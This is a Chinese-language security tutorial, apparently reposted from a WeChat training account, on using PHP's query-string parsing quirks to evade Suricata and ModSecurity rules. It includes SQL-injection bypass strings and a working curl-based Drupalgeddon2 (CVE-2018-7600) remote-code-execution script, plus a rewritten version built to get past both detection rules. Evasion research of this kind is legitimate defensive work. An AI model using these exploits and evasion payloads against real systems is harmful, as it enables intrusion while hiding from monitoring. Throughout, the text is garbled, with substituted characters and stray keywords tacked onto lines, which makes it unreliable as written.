利用PHP的字符串解析特性Bypass


零基础黑客教程,黑客圈新闻,安全面试经验php

尽在 # 掌控安全EDU #html




nginx

前言git

咱们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。github

值得注意的是,查询字符串在解析的过程当中会将某些字符删除或用下划线代替。面试


例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。ajax

若是一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么咱们就能够用如下语句绕过:正则表达式

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP语句的参数%20news[id%00的值将存储到$_GET["news_id"]中。数组

HP须要将全部参数转换为有效的变量名,所以在解析查询字符串时,它会作两件事:安全

1.删除空白符

2.将某些字符转换为下划线(包括空格)

例如:

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

经过如下这个示例,你能够更直观的看到parser_str函数如何处理字符串:

<?php
   foreach(
       [            "{chr}foo_bar",            "foo{chr}bar",            "foo_bar{chr}"
       ] as $k => $arg) {            for($i=0;$i<=255;$i++) {                echo "\033[999D\033[K\r";                echo "[".$arg."] check ".bin2hex(chr($i))."";
               parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);                /* yes... I've added a sleep time on each loop just for
               the scenic effect
like that movie with unrealistic
               brute-force where the password are obtained
               one byte at a time (∩`-´)⊃━☆゚.*・。゚
               */

               usleep(
5000);                if(isset($o["foo_bar"])) {                    echo"\033[999D\033[K\r";                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
               }
           }            
echo"\033[999D\033[K\r";            echo"\n";
   }

parse_str函数一般被自动应用于get、post请求和cookie中。

若是你的Web服务器接受带有特殊字符的参数名,那么也会发生相似的状况。

如上代码所示,我进行了屡次循环,枚举了参数名三个位置的0到255之间的全部字符,看看解析函数究竟是如何处理这些特殊字符的。


结果以下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中,foo%20bar和foo+bar等效,均解析为foo bar。


Surica


也许你也听过这款软件,Suricata是一个“开源、成熟、快速、强大的网络威胁检测引擎”,它的引擎可以进行实时入侵检测(IDS)、入侵防护系统(IPS)、网络安全监控(NSM)和离线流量包处理。


在Suricata中你能够自定义一个HTTP流量的检测规则。假设你有这样一个规则:

alert http any any -> $HOME_NET any (\
msg: "Block SQLi"; flow:established,to_server;\
content: "POST"; http_method;\
pcre: "/news_id=[^0-9]+/Pi";\
sid:1234567;\
)

简单来讲,上述规则会检查news_id的值是不是数字。那么根据上述知识,咱们能够很容易的绕过防护,以下所示:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'

/?news_id%00=1%22+AND+1=1--'

经过在Google和Github上进行搜索,我发现有不少关于Suricata规则能够经过替换下划线或插入空字符来绕过。


一个真实的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述规则能够经过如下方式绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

固然,这条规则交换参数位置便可绕过,好比:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)


此外,PHP查询字符串的解析特性也可用以绕过WAF。

想象一下,它的规则相似于SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",这显然能够经过相同的手段绕过。

幸运的是,在ModSecurity中,能够经过正则表达式指定查询字符串中的参数。


好比:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上规则将拦截诸如如下的请求:

⛔️/?news[id=1%22+AND+1=1--'
⛔️/?news%5bid=1%22+AND+1=1--'

⛔️/?news_id%00=1%22+AND+1=1--'


Poc //GTFO


让咱们用Suricata和Drupal CMS建立一个以利用CVE-2018-7600(Drupalgeddon2远程执行代码)的简单PoC。

为了简单起见,我将在两个Docker容器上运行Suricata和Drupal,并尝试绕过Suricata攻击Drupal。


我将使用两条Suricata防护规则:

1.一条自定义规则拦截form_id=user_register_form

2.另外一条是关于CVE-2018-7600的通用规则Suricata官方安装流程点击[这里](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/Ubuntu_Installation_-_Personal_Package_Archives_(PPA)。

对于Drupal,我运行了一个Vulhub容器,你能够在这里下载:



首先,让咱们尝试利用CVE-2018-7600。一个利用curl命令的小型bash脚本,好比:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所见,上面的脚本将执行命令id:

如今,让咱们尝试往Suricata导入如下两条规则:我编写了第一个规则,它只是尝试form_id=user_register_form在请求体内进行匹配; 

Positive Technology /user/register在请求URL和#post_render请求正文中写了第二个匹配项。

个人规则:

alert http any any -> $HOME_NET any (\
msg: "Possible Drupalgeddon2 attack";\
flow: established, to_server;\
content: "/user/register"; http_uri;\
content: "POST"; http_method;\
pcre: "/form_id=user_register_form/Pi";\
sid: 10002807;\
rev: 1;\
)

通用规则:

alert http any any -> $HOME_NET any (\
msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
flow: established, to_server; \
content: "/user/register"; http_uri; \
content: "POST"; http_method; \
content: "drupal"; http_client_body; \
pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
reference: cve, 2018-7600; \
reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
classtype: attempted-admin; \
reference: url, github.com/ptresearch/AttackDetection; \
metadata: Open Ptsecurity.com ruleset; \
sid: 10002808; \
rev: 2; \
)

在重启Suricata后,个人攻击被成功报警:

能够看到,咱们获得了两条日志:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080


Bypass!


这两条规则其实都很容易绕过。首先,对于敏感字段form_id=user_register_form,咱们可将其替换为以下内容:

form%5bid=user_register_form

如上图所见,如今只有通用规则的警报。

分析通用规则的正则表达式,咱们能够看到它对#和%23敏感,但不涉及下划线的编码。

所以,咱们可使用post%5frender代替post_render来绕过:


最后得出可绕过两个规则的PoC:

#!/bin/bash
URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"
curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"



黑客教程~ 课件 靶场 ~ 限!时!免费!送!

长按识别二维码,便可限时免费报名课程。







                                   点击在看~好文你们给一块儿看!👇

本文分享自微信公众号 - 掌控安全EDU(ZKAQEDU)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。

相关文章
相关标签/搜索